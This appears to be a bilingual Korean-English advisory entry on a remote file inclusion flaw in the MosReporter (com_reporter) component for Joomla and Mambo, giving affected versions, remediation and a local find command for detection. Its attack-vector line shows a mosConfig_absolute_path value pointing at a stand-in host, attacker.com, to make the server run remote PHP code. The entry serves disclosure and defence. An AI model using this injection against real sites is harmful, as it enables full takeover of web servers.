🇰🇷 한글 설명
Joomla와 Mambo의 MosReporter 컴포넌트(com_reporter)에 존재하는 원격 파일 포함(RFI) 취약점으로, mosConfig_absolute_path 매개변수를 악용하여 원격 서버의 PHP 파일을 포함시키고 임의의 PHP 코드를 실행할 수 있습니다. 인증 없이 공격 가능하여 서버 완전 장악이 가능합니다.
💡 쉬운 설명
공격자가 특수한 URL을 입력하여 원격 서버의 해킹 도구(PHP 파일)를 실행하도록 강제할 수 있는 버그입니다. 이를 통해 웹사이트를 완전히 장악할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in reporter.logic.php in the MosReporter (com_reporter) component for Mambo and Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.
📍 영향받는 시스템
Joomla 1.0.x, Mambo 4.6.x 이하 버전의 MosReporter 컴포넌트(com_reporter)
⚔️ 공격 벡터
GET/POST 요청으로 reporter.logic.php 파일에 mosConfig_absolute_path=http://attacker.com/ 형태의 매개변수 전송
🛡️ 대응 방법
MosReporter 컴포넌트를 최신 버전으로 업그레이드하거나 제거, 또는 직접 패치 적용 (input validation 추가)
🔧 검증 코드
검색 결과에 MosReporter 컴포넌트가 나타나면 설치되어 있음을 의미하며, 이 경우 해당 버전을 확인하여 업그레이드 필요 여부 판단
find / -name 'com_reporter' -o -name 'reporter.logic.php' 2>/dev/null | head -20